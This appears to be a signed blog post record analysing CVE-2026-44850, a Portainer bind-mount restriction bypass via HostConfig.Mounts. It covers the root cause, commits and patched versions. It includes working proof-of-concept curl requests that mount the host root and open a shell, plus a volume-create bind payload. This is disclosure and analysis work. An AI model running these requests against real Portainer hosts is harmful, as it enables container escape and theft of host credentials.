-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The struct had no Mounts field\n\nThe check lives in `api/http/proxy/factory/docker/containers.go`, in `decorateContainerCreationOperation`. The function decorates every container-create request that flows through Portainer's Docker API proxy. When the caller is not an environment administrator, it reads the body, unmarshals into a `PartialContainer` struct, and rejects the request if any of seven security-relevant fields exceed the configured policy.\n\nPre-patch, the `PartialContainer` struct's `HostConfig` had no `Mounts` member. The unmarshal dropped the entire field on the floor:\n\n```go\ntype PartialContainer struct {\n HostConfig struct {\n Privileged bool `json:\"Privileged\"`\n PidMode string `json:\"PidMode\"`\n Devices []any `json:\"Devices\"`\n Sysctls map[string]any `json:\"Sysctls\"`\n SecurityOpt []string `json:\"SecurityOpt\"`\n CapAdd []string `json:\"CapAdd\"`\n CapDrop []string `json:\"CapDrop\"`\n Binds []string `json:\"Binds\"`\n } `json:\"HostConfig\"`\n}\n```\n\nThe body parser saw a struct with no `Mounts` key. The Docker API request body did not get unmarshalled at that key. The rest of the function operated on a zero value for a field the struct did not declare.\n\nThe bind-mount enforcement, when configured to deny bind mounts for regular users, iterated `partialContainer.HostConfig.Binds` and rejected entries that began with `/`:\n\n```go\nif !securitySettings.AllowBindMountsForRegularUsers && len(partialContainer.HostConfig.Binds) > 0 {\n for _, bind := range partialContainer.HostConfig.Binds {\n if strings.HasPrefix(bind, \"/\") {\n return forbiddenResponse, ErrBindMountsForbidden\n }\n }\n}\n```\n\nThe Docker daemon, at the other end of the proxy, accepts the legacy `HostConfig.Binds` array of strings and a parallel `HostConfig.Mounts` array of typed structs. Both produce the same daemon-side action. The structured form was added to the Docker Engine API in version 1.30, shipped in Docker 17.06 in June 2017.\n\nPortainer's check shipped in July 2020 against the field Docker had introduced the alternative to three years earlier.\n\n## The exploit is the second field\n\nThe attacker is a Portainer user with rights to create containers on a Docker environment whose administrator has enabled \"Hide bind mounts for non-administrators.\" The Portainer UI for this user does not expose bind-mount controls; the volume editor restricts mount type to \"volume\" and \"tmpfs.\" The attacker opens a terminal and sends the bind mount through the proxy directly:\n\n```bash\ncurl -X POST \\\n -H \"Authorization: Bearer $PORTAINER_JWT\" \\\n -H \"Content-Type: application/json\" \\\n \"https://portainer.example.com/api/endpoints/1/docker/containers/create?name=escape\" \\\n -d '{\n \"Image\": \"alpine\",\n \"Cmd\": [\"sleep\", \"3600\"],\n \"HostConfig\": {\n \"Mounts\": [\n {\"Type\": \"bind\", \"Source\": \"/\", \"Target\": \"/host\"}\n ]\n }\n }'\n```\n\n`decorateContainerCreationOperation` reads the body, unmarshals into `PartialContainer`, finds `HostConfig.Binds` empty (the request did not set it), walks every other check, finds nothing to reject, forwards the request. The Docker daemon honors `HostConfig.Mounts`, creates the container, mounts host `/` at `/host`. The attacker starts the container:\n\n```bash\ncurl -X POST \\\n -H \"Authorization: Bearer $PORTAINER_JWT\" \\\n \"https://portainer.example.com/api/endpoints/1/docker/containers/escape/start\"\n```\n\nAnd exec's into it:\n\n```bash\ncurl -X POST \\\n -H \"Authorization: Bearer $PORTAINER_JWT\" \\\n -H \"Content-Type: application/json\" \\\n \"https://portainer.example.com/api/endpoints/1/docker/containers/escape/exec\" \\\n -d '{\"AttachStdout\": true, \"AttachStderr\": true, \"Tty\": true, \"Cmd\": [\"/bin/sh\"]}'\n```\n\nThe shell runs inside a container with the host filesystem at `/host`. `/host/etc/shadow`, `/host/root/.ssh/`, `/host/var/run/docker.sock`. Any of the three is terminal for the host or the daemon. The Portainer role required nothing beyond \"can create containers on this environment.\"\n\nThe CVSS vector records `S:C`, Scope: Changed. Crossing from a Portainer-managed container into the host filesystem is the scope change the vector describes. The vector also records `PR:L`, low privileges required. The attacker's only privilege is the role the setting was advertised as restricting.\n\n## The gate filtered the field the UI produces\n\nThe reason the bypass is the second field, and not \"Binds with a different prefix,\" is in `app/docker/helpers/containerHelper.js`. When a user duplicates an existing container through the Portainer UI, the helper reconstructs the host config from the inspect output. The relevant lines:\n\n```javascript\nconfig.HostConfig.Mounts = null;\nconfig.HostConfig.Binds = binds;\n```\n\nThe UI walks the inspect response's `Mounts` array, converts each entry to a `Binds` string of the form `name:containerPath[:ro]`, sets `HostConfig.Mounts` to `null`, and assigns the converted strings to `HostConfig.Binds`. Every container-create request the Portainer UI produces sends `HostConfig.Mounts: null` and `HostConfig.Binds: [...]`.\n\nThe proxy gate filtered the field shape the UI produces.\n\nThis is the architectural shape of the bug. The Docker API proxy exists to enforce policy on Docker API callers who bypass the UI: `docker -H portainer.example.com -- create ...`, scripts running against the proxy's REST endpoints, anything that addresses the Docker API directly through Portainer's authenticated proxy. The reason the gate exists is that those callers can submit any field the Docker daemon accepts. The gate's grammar was the field the UI sends. The bypass was the field the UI does not send.\n\n## The same commit added the Mounts idiom for Swarm\n\n`api/http/proxy/factory/docker/services.go` enforces the same `AllowBindMountsForRegularUsers` setting on Docker Swarm service-create requests. Swarm's API has no `Binds` legacy; its service spec exposes `TaskTemplate.ContainerSpec.Mounts`, an array of typed mount structs with the same `Type` field as the container-create `Mounts`. The services-side gate, when the CVE patch landed, looked like this:\n\n```go\nif !securitySettings.AllowBindMountsForRegularUsers {\n for _, mount := range containerSpec.Mounts {\n if mount.Type == \"bind\" {\n return ErrBindMountsForbidden\n }\n // ...\n }\n}\n```\n\nThe check the CVE patch added to `containers.go` is, line for line, the same idiom this file already used. Both checks were added in the same pull request. Commit `93d8c179f`, \"feat(containers): enforce disable bind mounts (#4110),\" shipped on 2020-07-29 by Chaim Lev-Ari. The diff added a `Binds`-only check to `decorateContainerCreationOperation` (27 lines touched on `containers.go`) and a `Mounts.Type == \"bind\"` check to `decorateServiceCreationOperation` (55 lines added to `services.go`). The author shipped both halves of the gate in one commit. The container path got one. The Swarm path got the other.\n\nBoth halves of the gate were typed by the same author into the same commit. The container path was missing the half the diff applied to Swarm services.\n\n## The same April 2026 sprint closed two more bind-mount holes\n\nThe CVE-2026-44850 patch landed as commit `3a8ed4094` on 2026-04-18 at 01:28:24 UTC-3, twelve added lines on `containers.go`. The previous minute, at 01:27:14 the same day, commit `aef1d982c` (\"fix(docker): add missing restrictions for Swarm BE-12772\") added Swarm restrictions that had also been missing. Three days later, on 2026-04-21, commit `7e544ee44` (\"fix(docker): add more bind mount restriction checks BE-12771\") added a `CheckVolumeBodyRestrictions` function to `api/http/proxy/factory/docker/volumes.go` that rejects volume-create requests whose `DriverOpts[\"type\"]` equals `\"bind\"`:\n\n```go\nfunc CheckVolumeBodyRestrictions(request *http.Request) error {\n // ...\n var volumeCreateBody struct {\n DriverOpts map[string]string `json:\"DriverOpts\"`\n }\n\n if err := json.Unmarshal(body, &volumeCreateBody); err != nil {\n return err\n }\n\n if volumeCreateBody.DriverOpts[\"type\"] == \"bind\" {\n return ErrBindMountsForbidden\n }\n // ...\n}\n```\n\nPre-patch, the Docker volume API was a third path to a host bind mount and the proxy did not gate it at all. A regular user could send `POST /volumes/create` with `{\"Driver\": \"local\", \"DriverOpts\": {\"type\": \"bind\", \"device\": \"/\", \"o\": \"bind\"}}` and the local-volume driver would create a volume that, on attach, exposed the host root. The volume-create request would not have flowed through `decorateContainerCreationOperation` at all; it would have routed to a handler that, pre-patch, had no bind-mount logic.\n\nThree field paths to the same daemon-side outcome. Pre-patch, the proxy gated one. The April 2026 fix sprint gated the other two. The setting labeled \"Hide bind mounts for non-administrators\" had, between July 2020 and April 2026, enforced a narrower policy than the one its tooltip described.\n\nThe pattern is [gate-narrower-than-sink](/patterns/gate-narrower-than-sink): the proxy's filter grammar covered a strict subset of the Docker daemon's accepted bind-mount surface. The two matchers were written to answer the same question, \"is this request asking for a bind mount.\" They did not agree on the field set. The half the gate did not cover was the half the UI does not send.\n\nPatched in Portainer CE 2.33.8, 2.39.2, and 2.41.0.\n\nPoC: [GHSA-7fw3-x4r2-g7wc](https://github.com/advisories/GHSA-7fw3-x4r2-g7wc)","closing_line":"The patch closes this CVE. It does not change the assumption that produced it.","hook_md":"Portainer Community Edition has an environment setting labeled \"Hide bind mounts for non-administrators.\" When an admin toggles it on, the tooltip in the admin UI promises that \"regular users will not be able to use bind mounts when creating containers.\" The proxy code that enforced it shipped in July 2020.\n\nCVE-2026-44850 is the five-year-and-eight-month window during which that setting prevented bind mounts only via the field path Portainer's own UI uses.","post_id":553,"slug":"portainer-cve-2026-44850-bind-gate-read-only-binds","title":"CVE-2026-44850: Portainer's Bind-Mount Gate Read HostConfig.Binds. The Docker API Has a Second Bind-Mount Field.","type":"initial","unreadable_sentence":"Both halves of the gate were typed by the same author into the same commit. The container path was missing the half the diff applied to Swarm services."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCaqbWkAAKCRDeZjl4jgkQ JoSsAQD0+bSu4p9RZXGJwKrZNQKe5RyinmeLJTdwIIptg0rxzgD/aXyNGke/o+pS wYQhTyRGDv7e9aQFdr4uosZoG+oWOQo= =a13b -----END PGP SIGNATURE-----